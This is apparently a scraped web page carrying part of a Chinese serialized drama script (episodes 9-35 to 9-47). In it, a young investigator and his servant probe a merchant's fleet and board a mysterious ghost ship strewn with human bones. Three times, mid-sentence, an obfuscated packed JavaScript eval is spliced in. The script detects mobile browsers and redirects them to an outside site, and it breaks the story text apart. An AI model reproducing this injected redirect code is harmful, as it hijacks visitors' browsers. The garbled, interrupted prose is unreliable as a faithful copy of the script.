小迢:我听在场的人说,就这么一艘,还很难遇见。 裴光年:可咱们已经遇见它两回了,你说这到底是不是巧合? 小迢:不是巧合的话,会是什么?总不能它长了一双眼睛、一路上都在跟着咱们吧? 说到这里,小迢莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009214|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地打了个寒战,脸上露出惊恐的表情,见他这样,裴光年反倒笑了起来。 裴光年:你可不要忘了,那可是一艘鬼船哟。 小迢:(摆摆手不愿再提)唉,罢了,就当是一个巧合吧,希望以后不会再遇见它了。 博州,光冉城 9-35 酒楼(日,内) 人物:裴光年、小迢、酒楼伙计 又到了另一座城。裴光年和小迢吸取前两次的教训,不仅找了家不靠海的酒楼,还只坐在一楼大堂里吃饭。饭后,又招呼伙计过来结账。 酒楼伙计:客官,一共是四两银子。 裴光年:四两银子?怎么越往南走东西越贵呀?这次又是因为什么? 小迢:是呀,你们这家店又不靠海,我们也没在楼上吃饭,怎么一下子翻了数倍?更何况,一个盘子里只装了半份菜,想吃饱都难! 酒楼伙计:(叹口气)唉,客官,不止是您,来咱们店里的每一位客人,都说自己没吃饱。 裴光年:你们既然知道,为何还要这样?饭菜少得可怜,价钱却贵得离谱,凭什么? 酒楼伙计:(一脸的无奈)我们也没办法呀!客官,您若有空,可以去城东的市场上瞧瞧,自然会明白我们的难处。 裴光年:你们有何难处? 酒楼伙计:客官,您别看咱们这座城的地势在博州是最低的,可城里的物价在博州却是最高的。就拿您吃的这顿饭来说吧,面条要按根来卖,萝卜要按片来卖,豆子要按颗来卖,就连鱼和虾也要分成段来卖…… 裴光年:得得得,你别说了!我全懂了,你们这分明就是宰客没商量!哼! 9-36 街道上(日,外) 人物:裴光年、小迢 从酒楼出来后,裴光年气愤不已。 裴光年:这些人到底还有没有良心?又或者他们的良心早就被狗吃了!什么叫地势低物价就高,这二者有关系吗? 小迢:少爷,您别生气。君子报仇十年不晚,等您将来调任了博州,再好好地收拾他们。 裴光年:博州的滕督察不管这事吗? 小迢:这个嘛…… 裴光年:怎么了? 小迢:也许滕督察来这里吃饭时,人家根本不敢找他要钱呢。 裴光年:嗯,也是啊,要不怎么说县官不如现管呢! 小迢:少爷,那咱们接下来还吃不吃饭呀? 裴光年:饭当然要吃了,不吃饭怎么办事呀?反正咱们的钱都是在赌桌上赢的,得来全不费工夫,索性在回去之前,把它全花光了!哼! 走着走着,裴光年突然停下脚步。 小迢:少爷,怎么了? 裴光年:(露出坏笑)小迢,要不咱们去海边瞧瞧,看看那艘船又来了没? 小迢:(脸色突变)又来?少爷,我昨天已经被它吓过一回了,今天若是再见到它,怕是真的要晕过去了。 裴光年:你都已经见过它两回了,还怕什么呀?快走吧,别让它等着急了! 9-37 海边(日,外) 人物:裴光年、小迢 裴光年架着小迢来到了海边,结果发现海面上除了几艘过往的商船之外,什么都没有。 小迢:(松了口气)唉,我就说是个巧合嘛!它就算是真的来了,也未必是因为咱们。 裴光年:唉,真可惜呀,我还想再见一见它呢! 小迢:少爷,如果您说想再见一见春兰姑娘、夏竹姑娘、秋菊姑娘还有冬梅姑娘,我都能理解,毕竟这么多年来您一个人过得也挺不容易…… 裴光年:小子,你怎么动不动就拿我的过往说事儿呀?你是不是怕我忘了呀? 小迢:少爷,如果这会儿少奶奶来了,您还认识她吗? 裴光年:(突然瞪大眼睛指着海面上)呀,鬼船!它在那里! 小迢:啊!怎么又来了? 小迢吓得转身就逃,裴光年却哈哈大笑。 裴光年:哈哈哈,臭小子,又被我骗了吧?哈哈哈! 90.第九篇 猫皇大人 博州,凌波港 9-38 码头(日,外) 人物:裴光年、小迢 裴光年和小迢一路向南,终于来到了凌波港。 小迢:少爷,您不是说那个荣盛山庄的主人在这个港口上有一支船队吗? 裴光年:对呀,我是这么说过。 小迢:这里这么多船,究竟哪些才是他的呢? 裴光年:(故作惊讶)你这么聪明,居然连这个都不知道? 小迢:少爷,我又不是焦老板的手下,怎么会知道这个? 裴光年:你不是已经拜访过他的山庄了吗? 小迢:只在里面待了一小会儿而已,更何况他跟无双姑娘交谈时,也没提到船队的事呀。 裴光年:你怎么没顺道问问他呢? 小迢:少爷,您就别卖关子了,赶紧告诉我吧! 裴光年:荣盛山庄的门前有一根旗杆,你还记得吗? 小迢:让我想想……噢,好像是有一根!顶上还挂了一面绣着飞鱼的旗帜,对不对? 裴光年:他为何要这么做? 小迢:那面旗帜看上去很特别,应该只有荣盛山庄里才有。 裴光年:这意味着什么? 小迢:独一无二? 裴光年:(点点头)嗯,独一无二。 小迢:这跟他的船有何关系? 裴光年:小子,你怎么区分我跟张正清? 小迢:这还用问吗?看脸就知道了。 裴光年:那面旗帜就是焦老板的脸,你想找到他的船,看脸就知道了。 小迢:(恍然大悟)噢,我明白了!我这就去找,嘿嘿! 9-39 码头(日,外) 人物:裴光年、小迢、工头、工人若干 裴光年和小迢在码头上来来回回找了半天,终于在一处发现了焦老板的船队,每一艘船的桅杆上都挂着一面飞鱼旗,跟荣盛山庄门口的那面旗帜一模一样。 小迢:少爷,您瞧!这些不就是吗? 裴光年:(数了数)一、二、三……嗯,一共有三十艘,而且都是吃水很深的大货船。 小迢:有这么多大货船,仅仅依靠海上贸易,就能挣不少钱了,哪里还用得着偷偷地卖药啊? 裴光年:小子,咱们这一路上吃的喝的用的都是从哪里来的? 小迢:这还用问吗?不都是您在赌坊里赢来的吗? 裴光年:你在花这些钱的时候,心疼吗? 小迢:又不是自己辛辛苦苦挣来的,心疼什么呀?(见裴光年正望着他笑)噢,我明白了!您的意思是焦老板用卖药的钱置办了这些大货船? 裴光年:(笑着点点头)把见不得光的东西变成了见得光的东西,这就是他的狡诈之处! 码头上的工人正在把成箱成箱的货物往船上搬。 裴光年:看样子,这些船应该很快就要出海了。 小迢:少爷,那天在荣盛山庄,无双姑娘不是说让焦老板再给姓桂的送几个人过去吗?姓桂的在海上,这些船会不会去他那里? 裴光年:这些是货船,送人的话,难道不应当用客船吗? 小迢:货船难道就不能载人吗?您瞧瞧那些大箱子,塞一两个人进去,没一点儿问题! 裴光年:你的意思是,焦老板打算把人装在箱子里,冒充货物给姓桂的运过去?既如此,咱们是不是也应该打开箱子检查一下呢? 小迢:您说得对!是应该检查一下,免得弄错了。只不过…… 裴光年:什么? 小迢:咱们既不是焦老板的手下,也不是码头上的官差,就算去了,人家也不会让咱们看呀。 裴光年:(皱起眉头)也是啊,这可怎么办呀? 小迢:少爷,我倒是有个办法。 裴光年:快说来听听。 小迢:咱们可以混进这些工人里,跟着他们一起过去,顺道检查一下船上的货物。 裴光年:咦,好主意呀!问题是咱们穿的这身衣裳,好像跟他们不太搭呀? 小迢:这个容易,我给您找几件旧的来。 小迢离开后,不一会儿又回来了,手里拿着几件工人们穿过的旧衣裳,上面有不少污渍。 裴光年:(捂住鼻子)唔,臭死了!谁的衣裳?你从哪里找的? 小迢:少爷,您就将就一下吧!这个时候,我能找到这几件,就已经很不错了。 裴光年:是不是别人扔掉的? 小迢:您别问了,赶紧换上吧。晚上回到客栈之后,咱们再好好地洗一洗。 二人换上衣裳,正打算混进去,却被工头认了出来。 工头:喂喂喂,你们两个,站住! 二人停下脚步。 工头:你俩是谁?从哪里来的? 裴光年:哦,我俩是这个码头上的工人。 小迢:是啊,我俩那边的活儿干完了,想趁着天还没黑,来这边找点儿活干,多挣点钱嘛! 工头:是吗?可我在这里干了十年,怎么从来没见过你们? 裴光年:我俩才来没多久,以前一直在那边干,没来过这边。 工头:这样啊,可我看你俩的样子,不像是会干活儿的呀! 小迢:不就是把东西搬到船上去吗?又不用动脑子,谁不会干呐? 工头:那行!(指着身后的一个大箱子)这里有个箱子,你给我搬到船上去。 小迢走过去就搬,这才发现箱子竟然跟石头一样沉,他使出吃奶的劲儿,也没能挪动它分毫。 工头:怎么样啊,小子?我就说你不行吧!就你这个小身板儿,还想靠力气吃饭,糊弄谁呢? 裴光年:我来搬! 裴光年走过去,先试了下箱子的重量,然后对小迢道。 裴光年:小迢,你坐上去! 小迢:我?坐到箱子上?(对裴光年低语)少爷,您想干嘛呀? 裴光年:让你坐你就坐,快点儿! 小迢:哦,好吧。 待小迢坐上去后,裴光年双臂一抱,便将那箱子连同小迢一起举了起来,往船那边走去。 小迢:天哪!少爷,您这么久没练功了,怎么力气还是这么大呀? 裴光年:你以为这是好事呀?当初若不是因为这个,我又怎么会一拳把柔依肚子里的孩子给打没了。唉! 码头上的工人见裴光年这样,都惊诧不已。 工人甲:这家伙可真厉害,他一个人能顶上咱们三个。 工人乙:都是吃五谷杂粮长大的,怎么他的力气就那么大呀? 工头:(对着工人们)呵呵,长见识了吧?有他在,我还要你们干嘛?你们要是能像他这样,我给你们发三倍的工钱! 工头说完,见裴光年已经把箱子搬上了船,便走过去对他笑道。 工头:这位兄弟,干得不错!我这里的活儿还挺多,你俩就留下来吧! 裴光年和小迢在码头上干了整整三天,把船上的箱子都翻遍了,也没发现一个人影儿。为了确保万无一失,他俩直到亲眼看见货船离开了凌波港、向海上驶去之后,方才悻悻地回到客栈里,这才觉得浑身上下疲累至极,倒头便睡,直到日上三竿之后,方才醒来。 9-40 酒楼(日,内) 人物:裴光年、小迢 小迢长长地叹了口气。 小迢:唉!咱们给焦老板干了三天的苦力,却什么都没得到,真是太倒霉了! 裴光年:怎么没得到?人家不是给了你三天的工钱吗?一会儿咱们正好可以用它来结账。 小迢:少爷,我都快累瘫了,您怎么还有心情开玩笑呀?咱们要的是钱吗?咱们要的是人! 裴光年:人也有啊! 小迢:人也有?在哪里?咱们不是把那些箱子全找遍了吗?难道还漏掉了什么地方? 裴光年:就在你眼前,你没看到吗? 小迢:少爷,您到底在说谁呀? 裴光年:一共有三十艘船,每艘上面都有十多个船工,这些不就是人吗? 小迢:(吃惊)啊!您的意思是,焦老板打算把这些船工给姓桂的送过去?您怎么不早说?如今船走了,咱们想追上去都难了!要不您去跟滕督察亮明身份,请他帮忙抓捕吧! 裴光年:急什么呀?这会儿他们还没走远呢! 小迢:等他们走远了,可就晚了!那可是上百条人命,一旦落入了姓桂的手里,必死无疑! 裴光年:说的没错!上百条人命,一旦落入了姓桂的手里,必死无疑。若真如此,他们的家人怎么办? 小迢:他们的家人?当然是哭死了! 裴光年:除了哭之外,还有什么? 小迢:(想了想)找焦老板要人? 裴光年:焦老板会给吗? 小迢:人都被拿去做成药丸了,他想给也给不了啊! 裴光年:那怎么办呀?要不赔点儿钱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009215|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事? 小迢:上百条人命,可不是一个小数目,焦老板就算是把全部的家当都赔进去,也未必能了事。(转念一想)咦,不对呀!这个焦老板应该不会这么傻吧?那天在山庄里,他自己也说过,只想发财,不想杀人。 裴光年:对呀!五年前,他还只是一个靠天吃饭的渔民,能混到今天这个地步,真是太不容易了!为了姓桂的,把到手的一切都毁了,值吗? 小迢:肯定不值!(皱起眉头)咦,不过少爷,我怎么觉得您像是早就料到了呢? 裴光年:查案子嘛,既要把有用的线索都找出来,还要把没用的线索都排除掉。 小迢:所以咱们就在码头上干了三天的苦力?少爷,您知不知道,我怕您累着了,把吃奶的劲儿都使出来了,早知道是白费工夫,当初还不如偷会儿懒了!唉! 裴光年:呵呵,今天的饭菜是不是特别香啊?花自己挣的钱,味道就是不一样! 小迢:照您这么说,那些船工应该还能回来? 裴光年:除非在海上遇到风暴。 小迢:就算是遇到风暴,也不可能个个都出事呀!再说了,海上的事,老龙王说了算,焦老板就算有天大的本事,也做不了他的主。 裴光年:问题是姓桂的找他要人,他不能不给呀,不然的话,财路可就断了。 小迢:(义愤填膺)这个姓桂的可真够坏,居然能想出拿活人的脑髓当药引子的主意。之前他们卖了那么多药,肯定也害死了不少人。哼! 裴光年:所以说,为了除掉这个恶魔,你是否愿意不惜一切代价? 小迢:(拍拍胸脯)当然了!义不容辞! 裴光年:(起身往外走)好极了,咱们走! 小迢:去哪儿? 裴光年:找那艘鬼船。 小迢:(顿时慌了神)找……找鬼船?为……为何? 裴光年:焦老板不是要给姓桂的送人过去吗? 小迢:是啊,可这跟鬼船有何关系?总不能他也想上去兜个风吧? 裴光年:焦老板送去的人和鬼船上的人,有一个共同点。 小迢:这二者还能有共同点?是什么? 裴光年:一去不复返! 裴光年和小迢又回头去找那艘鬼船,而那艘鬼船也像是知道他俩的心思,早就朝着凌波港的方向驶来了。见到它,裴光年又惊又喜,连忙雇了条小船,朝鬼船划了过去。 9-41 小船上(日,外) 人物:裴光年、小迢、船家 船家望着不远处的鬼船,对裴光年笑道。 船家:明知山有虎,偏向虎山行。你们这些年轻人,果然都不怕死呀! 裴光年:哦,除了我们,还有谁去过? 船家:经常会有。他们一个个就像是着了魔,非要上去探个究竟,拦都拦不住。 小迢:难怪刚才我们说要去鬼船上的时候,您一点儿也不意外呢! 裴光年:那些人去了之后,有回来的吗? 船家:如果有的话,那就不叫鬼船了。 小迢:官府不管这事吗? 船家:起初也下过禁令,可那些人不肯听,总觉得自己是个幸运儿,时间久了,官府也就懒得管了。 裴光年:鬼船上到底有什么?还真令人好奇呀! 船家:这位公子,我看您的样子,也不像是个会犯糊涂的人,年纪轻轻,何必非要拿自己的身家性命去冒险呢?您要是想回头的话,这会儿还来得及。 小迢:对呀,少爷,咱们还是快回去吧! 裴光年:刚才你还说要不惜一切代价呢,怎么转眼就变卦了? 小迢:(哭丧着脸)我哪知道您要去鬼船上啊!少爷,虽然咱们在码头上没有任何发现,可此路不通,还有别的路嘛!要不咱们回梁州,再仔细地查一查焦老板的底,看看他的名下除了船队之外,还有没有别的什么…… 话没说完,却听裴光年指着鬼船发出一声惊呼。 裴光年:瞧!它掉转头,朝咱们这边来了! 小迢:(吓了一跳)啊!它怎么像是知道咱们要上去一样?惨了惨了,这下完蛋了! 船家:我以前送别人过去的时候,它也是这个样子。头一回我还觉得是个巧合,第二回第三回之后,我就觉得有些诡异了。 裴光年:老伯,您有没有想过自己也上去看看? 船家:我?(笑着摆摆手)呵呵,我这把老骨头,还是算了吧! 91.第九篇 猫皇大人 博州,凌波港 9-42 鬼船,船舱(日,内) 人物:裴光年、小迢、刘添福(中年男人)、孔哲文(年轻书生)、楚胜男(年轻女子) 令裴光年和小迢没想到的是,鬼船上并非只有他俩,还有一个中年男人、一个年轻书生和一个年轻女子,在他俩之前,就已经在船上了。 小迢:(结结巴巴地)你们……你们到底是人还是鬼呀? 刘添福:(反问)你俩到底是人还是鬼呀? 裴光年:呵呵,船家说的没错,这年头儿,不怕死的人,实在是太多了!(问刘添福)你们是谁?为何要上这艘船? 刘添福:(叹口气)我欠了人家的钱,人家天天逼着我还债,还威胁说要砍断我的手和脚,我无处可去,只好上这里来了。 裴光年:(问孔哲文)那你呢? 孔哲文:(一脸的悲愤)我考试落榜了,不想活了。 裴光年:就为这个?今年落榜了,明年还可以再考嘛,何必非要走上这条绝路呢? 孔哲文:我已经考了十次了,回回都落榜,周围的人都嘲笑我,说我是个没长脑子的笨蛋! 小迢:那就不考了,何必非要一条道走到黑呢!找点儿别的事做不也一样吗? 孔哲文:可我只会读书,别的都做不了。 小迢:(撇撇嘴)唉,果然很笨呐! 裴光年:(问楚胜男)这位姑娘,你呢?又是为了什么? 楚胜男冷冷地瞥了他一眼,没有作答,反倒是刘添福,先说了起来。 刘添福:她呀,是为了来找她哥。 裴光年:她哥怎么了? 孔哲文:她哥在她之前,也上了这艘船,可再也没回去。 小迢:(问孔哲文)她哥为何要上这艘船?难不成他也跟你一样想不开? 楚胜男:(两眼一瞪)胡说什么呢!我哥才没他这么笨呢! 孔哲文:你们……你们也嘲笑我?呜呜,我不活了! 孔哲文说着就要往海里跳,却被众人拦下。 刘添福:这位小兄弟,何苦呢?你都已经在这艘鬼船上了,还怕能活着回去不成? 小迢:是啊,早晚都是一死,急什么呀? 孔哲文:我宁可这就死了,也不愿再受这等羞辱。 楚胜男:谁羞辱你了?我哥要是像你这样,我就不来找他了,让他死了算了!哼! 孔哲文:你…… 刘添福:(劝众人)得得得,大家都少说两句。正所谓有缘千里来相会,没准儿这一趟,就是咱们的最后一程了,若是结怨的话,下辈子又要继续纠缠,还是好聚好散吧。 听了这话,孔哲文方才打消了了轻生的念头,楚胜男也不再说话,众人又回到船舱里。 9-43 鬼船,甲板上(日,外) 人物:裴光年、小迢、刘添福 船越走越远,凌波港也渐渐消失在视野里。 裴光年:这艘船就这么漫无目的地在海上漂来漂去吗? 刘添福:船上没有舵,咱们就算想改变它的方向,也无能为力呀。 裴光年:(吃惊)船上没有舵?怎么会这样? 小迢:是啊,这还能叫船吗?当初建造它的人,是不是个外行啊? 刘添福:唉,谁知道呢!我也是上来之后才发现的。 裴光年:(环顾四周)这艘船要去哪儿? 刘添福:不好说。没准儿等咱们一觉醒来,它又回凌波港了呢。 山与海 9-44 鬼船,甲板上(夜,外) 人物:裴光年、小迢、刘添福、孔哲文、楚胜男、三个水手(王顺/赵宝/钱贵) 夜幕降临,几个人正打算弄点吃的,忽闻海上传来求救声。 “有没有人啊?快救救我们!我们快要撑不住了!” 众人走出船舱一看,水里有三个人,正抱着木板,在大声地呼救。 裴光年:(想都没想)快把他们救上来! 小迢:少爷,这可是一艘有去无回的鬼船。 裴光年:总好过眼睁睁地看着他们淹死在水里吧!先别说了,救人要紧! 裴光年跳进海里,在小迢的帮助下,将水里的三个人救上了船。 三个水手:太好了,终于得救了!(对着裴光年)公子,真是谢谢您了! 刘添福:(对裴光年竖起大拇指)救人一命胜造七级浮屠。公子,您可真是太了不起了! 小迢:(没好气地对刘添福)就只会站在上面看热闹,你怎么不下去呢? 刘添福:我不会水呀! 孔哲文:(问三个水手)你们怎么掉水里去了? 王顺:唉,别提了!我们的船撞上了暗礁,沉没了。我们几个在海上漂了整整一天一夜,这才遇上了你们。 赵宝:幸好遇上了你们,不然的话,咱们可就没命了! 裴光年:这里离凌波港不远,你们应该可以游过去呀。 钱贵:凌波港?不对吧!公子,您是不是弄错了?我们的船在隆州海域遇的险,那里离凌波港可远了。 裴光年:隆州海域?那不是在定邦岛附近吗? 小迢:对呀!一个在东边,一个在西边,就算是游上一天一夜,也到不了这里呀! 孔哲文:(嘟哝)要不怎么说这是一艘鬼船呢! 三个水手:(没听清楚他的话)你说什么?什么船? 刘添福:哦,没什么,他说着玩呢!那个……你们的衣裳都湿透了,还是先进去歇歇吧。 9-45 鬼船,船舱(夜,内) 人物:裴光年、小迢、刘添福、孔哲文、楚胜男、三个水手(王顺/赵宝/钱贵) 一行人进了船舱,各自找个地方坐下。见众人都忙着弄吃的,三个水手忍不住问道。 三个水手:那个……你们有没有吃的呀?我们都快饿坏了! 刘添福:(皱了皱眉头)你们别瞅着我,我带的东西,只够我一个人吃,没你们的份儿。 孔哲文:我一个将死之人,还吃什么东西呀?要不等我死了之后,你们把我吃了吧。 楚胜男拿出两个烧饼,递给三个水手。 楚胜男:我带的东西也不多,你们省着点儿吃吧。 三个水手像是饿极了,接过烧饼便大口地吃了起来。 裴光年:小迢,把咱们带的东西拿出来,给他们每个人分一份儿。 小迢:少爷…… 裴光年:别说了!这里不是只有咱们俩,要活大家一起活!快去吧! 小迢:唉,好吧。 小迢把带来的食物分给船上的每一个人。 刘添福:(对着裴光年)公子,我看您的样子,不像是个走投无路的人,倒像是个有身份的人,您怎么会来到这艘船上? 裴光年:(扯了个理由)哦,我跟她一样,也是来找人的。 刘添福:哦,您的家人也失踪了吗? 裴光年:哦,差不多是吧。 楚胜男:(突然开口)我哥跟人家打赌,说只要他能坐着这艘船平安地回去,人家就给他一大笔钱,我哥连做梦都想有一条属于自己的船,所以就毫不犹豫地答应了。 裴光年:什么时候的事? 楚胜男:三个月前。 裴光年:三个月前吗?(想了想又问)你来找他,就不怕自己也回不去了? 楚胜男:这艘船的事,我也听闻过一二,我就不信这个邪!就算这上面有鬼,我也要抓住它,问问它到底把我哥弄哪儿去了。 小迢:(对着刘添福和孔哲文)听见没?人家可比你们俩强多了! 裴光年:姑娘,我看你这身打扮,应该多少会些功夫吧? 楚胜男:我是个镖师。 小迢:太好了!少爷,这下咱们有帮手了! 楚胜男:(没好气地)谁说我要帮你们了? 裴光年:都在一艘船上,若遇上什么事,互相照应一下,也是应该的。 刘添福:这位公子说的极是!不管这艘船上有什么鬼,只要咱们大家同心协力,就一定能化险为夷! 小迢:(白了刘添福一眼)就凭你?得了吧! 9-46 鬼船,甲板上(日,外) 人物:裴光年、小迢、刘添福、孔哲文、楚胜男、三个水手(王顺/赵宝/钱贵) 一番相处之后,众人也都熟悉了彼此。 刘添福是个商人,因为借了高利贷,做买卖亏了,不得已之下,躲在了这艘船上。 孔哲文嘴上说要死,奈何肚子不同意,见大家都在吃东西,也忍不住吃了两口。 楚胜男话不多,待人也不是很热情,总是一副爱答不理的样子。 三个水手来自隆州,却稀里糊涂地被海浪送来了这里,当他们知道上了一艘鬼船时,之前对裴光年的好感,顿时荡然无存。 王顺:(埋怨裴光年)公子,您既然早就知道这是一艘鬼船,又何必救我们上来呢? 赵宝:是啊,您这不是在害我们吗? 小迢:喂,你们这些家伙怎么不知好歹呢?若不是我家少爷出手相救,你们这会儿早就淹死了! 钱贵:那也不一定呀!咱们仨的水性好,再往前游一段,没准儿就到凌波港了呢。 王顺:可不是嘛!这艘船上连个舵都没有,咱们仨就算是会开船,也开不了这艘船呀! 小迢:船上除了你们之外,还有我们。我们这些先上来的都没抱怨,你们这些后上来的抱怨什么呀? 赵宝:你们都没打算回去,不是吗? 钱贵:对呀!你们一心求死,干嘛要拉着我们陪葬?太缺德了吧! 小迢:(顿时恼了)你说什么?!谁缺德了? 裴光年:小迢,别说了!他们的心情我能理解,好不容易从鬼门关里出来了,又被我给送了回去,唉! 小迢:少爷,他们这么说,您怎么也这么说呀?难道救人有错呀? 楚胜男:(突然开口)说对了!救人就是有错!尤其是救了一群忘恩负义之徒,那就大错特错了!(走上前对三个水手)你们几个要是不想待在这艘船上,可以再下去嘛!大海就在眼前,你们仨的水性又好,游回去的话,也不是什么难事!怎么样?快跳吧! 裴光年:(劝)楚姑娘,别这样! 楚胜男:(没有理会裴光年,接着对三个水手)我可没有裴公子这么好的脾气,我数一二三,你们要是不跳的话,我就把你们推下去! 王顺:这位姑娘,你的心肠未免也太歹毒了吧!你是不是巴不得我们早点儿死呀? 楚胜男:一! 赵宝:喂喂喂,你急什么呀?我们还没答应呢! 楚胜男:二! 小迢:楚姑娘,干得好!一会儿他们要是不肯下去,我就帮你把他们推下去! 裴光年:(沉下脸)小迢,你要是这么做的话,以后就别跟着我了! 钱贵:哼,你们这些家伙,想仗着人多欺负人少吗? 小迢:你们是三个人,我们也是三个人,到底谁欺负谁? 裴光年:小迢,你能不能别说了! 钱贵:(指着旁边的刘添福和孔哲文)不是还有他们俩吗? 小迢:那两个是看热闹的。 刘添福:(对着三个水手)嘿嘿,几位小哥,你们在跳之前,能不能先把昨天分给你们的食物留下来呀?这东西要是被海水泡发了,可就吃不成了。 孔哲文:(问刘添福)留下来之后,归谁呀?是还给人家裴公子呢、还是像昨天那样平分呢? 小迢:(笑着对三个水手)呵呵,听见没?没人会拦着你们,赶紧跳吧! 王顺:你们……你们一个个怎么这样啊?(赌气地)行!此处不留爷,自有留爷处!跳就跳!哼! 裴光年:喂喂喂,你们几个……别跳啊! 三个水手径直跳入海中,裴光年想拦都没拦住。 刘添福:呀,真跳下去了? 孔哲文:我要是像他们这般决绝,早就死成了。唉! 裴光年:小迢,快把绳子递给我,我把他们拉上来! 小迢:少爷,是他们自己要跳下去的,又不是咱们把他们推下去的。您若把他们拉上来了,他们又要抱怨您了。 裴光年:这里离凌波港那么远,你让他们怎么游回去呀?别任性了,快把绳子递给我! 楚胜男:裴公子,我们可是在替你出头,你怎么就不领情呀?你要是可怜他们,不如也跟他们一起下去吧! 裴光年:楚姑娘,人命关天,你就别说气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009216|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话了。 下面传来三个水手的求救声。 “救命呀!救命呀!快把我们拉上去!” 刘添福:呀,怎么回事?遇上鲨鱼了? 小迢:哼,这就叫人在做天在看,遭报应了吧! “快救救我们!我们要死了!” 三个水手在水中挣扎。 裴光年:小迢,快把绳子给我! 小迢:少爷…… 裴光年:快给我! 小迢不情不愿地把绳子递给裴光年,裴光年将绳子系在腰间,奋不顾身地跳入水中。 刘添福:昨儿晚上跳了一回,今儿早上又跳了一回,有裴公子在,这三位就算是想死也死不成呀! 裴光年跳入水中之后,将绳子递给三个水手。 裴光年:快系上!我把你们拉上去! 王顺:(一脸的惊恐)公子,太可怕了!下面全是白骨! 裴光年:白骨? 赵宝:对呀!成堆成堆的,吓死我了! 裴光年:怎么会有白骨?你们先上去,我下去瞧瞧! 裴光年说完,深吸一口气,潜入水中,睁眼一看,也吓得不轻,只见海底的泥沙间,埋着成堆的白骨。 裴光年:天哪!这些都是什么? 他壮起胆子游近了些,仔仔细细地查看了一番,果然都是人的骨头。 裴光年:怎么会这样?这些骨头从哪里来? 他的心中诧异,又听上面小迢叫道。 “少爷,快上来!船要走了!” 裴光年不敢耽误,只好拉住绳子,又回到了船上。再看那三个水手,都瘫坐在地上,模样像是见到了鬼。 小迢:少爷,怎么回事?下面有什么? 刘添福:是不是一条大鲨鱼呀? 裴光年:不是鲨鱼,是成堆的白骨,遍满整个海底。 小迢:白骨?还是成堆的?少爷,您是不是看花眼了? 裴光年:我就怕看错了,还特意过去摸了下,确实是人的骨头。 刘添福:有沉船吗?若是有的话,没准儿里面还有宝箱呢! 小迢:(没好气地)要不你也下去瞧瞧? 刘添福:我不会水,下去了只会淹死。要不这样,我拉住绳子,你们再下去找找,若真有宝箱的话,咱们大家对半分。怎么样? 小迢:你都要死了,还要那么多钱干嘛? 刘添福:阎王爷那里也需要打点嘛!这样的话,等咱们死了之后,也能有一个好的去处。 孔哲文:阎王爷不是只收冥币吗?阳世的钱他就算拿着,也花不了啊! 刘添福:(对着孔哲文)唉,你果然是个榆木脑袋呀!你怎么知道他花不了…… 楚胜男:行了行了!别说什么阎王爷了!(问裴光年)那水下到底有什么? 小迢:不是说了吗?成堆的白骨! 裴光年:(皱着眉头)这艘船走的并不快,才过了一天一夜,按理说还没有离开博州海域。这一带来来往往的船有很多,怎么会没人发现这些白骨? 楚胜男:裴公子,你有没有发现,自从天亮了之后,这个海上除了我们之外,就再也没有别的船了。 裴光年:是啊,我也觉得有点儿奇怪。博州的海域十分辽阔,海上的贸易也十分繁忙,怎么会连一艘船都看不到? 刘添福:这么说,咱们成孤雁了?那要是遇上什么事的话,找谁帮忙呀? 孔哲文:(冷不丁冒出一句)找阎王爷呗! 刘添福:(瞪孔哲文)书呆子,咱们还没死呢! 小迢:(对着裴光年)也许再往前走一段,就能遇上别的船了呢? 裴光年:(点点头)希望是吧。反正也下不去,只能边走边看了。 裴光年说完,便回船舱换衣裳去了,众人也都转身离开。 刘添福:喂喂喂,船越走越远了,下面的宝箱你们还要不要啊?(见众人不搭理他,只好遗憾地摇摇头)唉,这么好的机会,真是太可惜了! 9-47 鬼船,船舱(日,内) 人物:裴光年、小迢、刘添福、孔哲文、楚胜男、王顺、赵宝、钱贵 钱贵似乎被吓傻了,嘴里不停地念叨着海底的那些白骨。 钱贵:白骨!好多白骨!好多好多白骨呀!…… 刘添福:唉,这个家伙从上来到现在,就一直在念叨这句话,烦不烦呀! 裴光年:他应该是被吓坏了。 楚胜男:(问裴光年)那里真的有那么多骨头吗?就算是有沉船,也不该遍满整个海底呀? 裴光年:若非亲眼所见,我也不敢相信。 小迢:这些骨头从哪里来?死了这么多人,官府不知道吗? 刘添福:我听说黑市上有人专门收购这个,出价还挺高。 孔哲文:他们要这个干嘛?不嫌膈应吗? 刘添福:先清洗打磨一下,再镶上五颜六色的宝石,摆在屋子里,就是一件精美的艺术品。越看越喜欢,怎么会膈应呢? 小迢:(忍不住打趣)刘老板,你这么精明的一个人,做买卖怎么会亏了? 刘添福:唉,其实这件事,我也想不通。当初我明明把成本和利润都算明白了,甚至连风险都考虑进去了,可到了最后,还是亏了个一塌糊涂。 